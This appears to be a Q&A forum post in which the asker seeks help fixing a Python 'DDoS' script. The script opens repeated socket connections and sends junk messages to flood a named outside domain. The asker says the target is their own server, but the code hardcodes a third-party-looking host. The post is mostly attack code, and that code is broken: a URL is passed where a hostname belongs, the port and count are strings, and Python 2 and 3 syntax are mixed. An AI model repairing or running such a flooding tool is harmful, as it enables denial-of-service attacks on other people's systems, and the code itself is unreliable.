title: Getting error when my python ddos script running
body: <p>I am trying to attack my server and I have this little ddos python script for that. But unfortunately I got this error: </p>
  
  <pre><code>ip = socket.gethostbyname(host)
  socket.gaierror: [Errno 11004] getaddrinfo failed
  </code></pre>
  
  <p>Any idea how to solve this problem?</p>
  
  <p>And this is the script:</p>
  
  <pre><code>import time, socket, os, sys, string
  
  def restart_program():
      python = sys.executable
      os.execl(python, python, * sys.argv)
  curdir = os.getcwd()
  
  print ("DDoS mode loaded")
  host="http://hajnalgroup.com"
  port="80"
  message="+---------------------------+"
  conn="100"
  ip = socket.gethostbyname(host)
  print ("[" + ip + "]")
  print ( "[Ip is locked]" )
  print ( "[Attacking " + host + "]" )
  print ("+----------------------------+")
  def dos():
      #pid = os.fork()
      ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      try:
          ddos.connect((host, port))
          ddos.send( message )
          ddos.sendto( message, (ip, port) )
          ddos.send( message );
      except socket.error, msg:
          print("|[Connection Failed] |")
      print ( "|[DDoS Attack Engaged] |")
      ddos.close()
  for i in range(1, conn):
      dos()
  print ("+----------------------------+")
  print("The connections you requested had finished")
  if __name__ == "__main__":
      answer = raw_input("Do you want to ddos more?")
      if answer.strip() in "y Y yes Yes YES".split():
          restart_program()
      else:
          print "bye"
  </code></pre>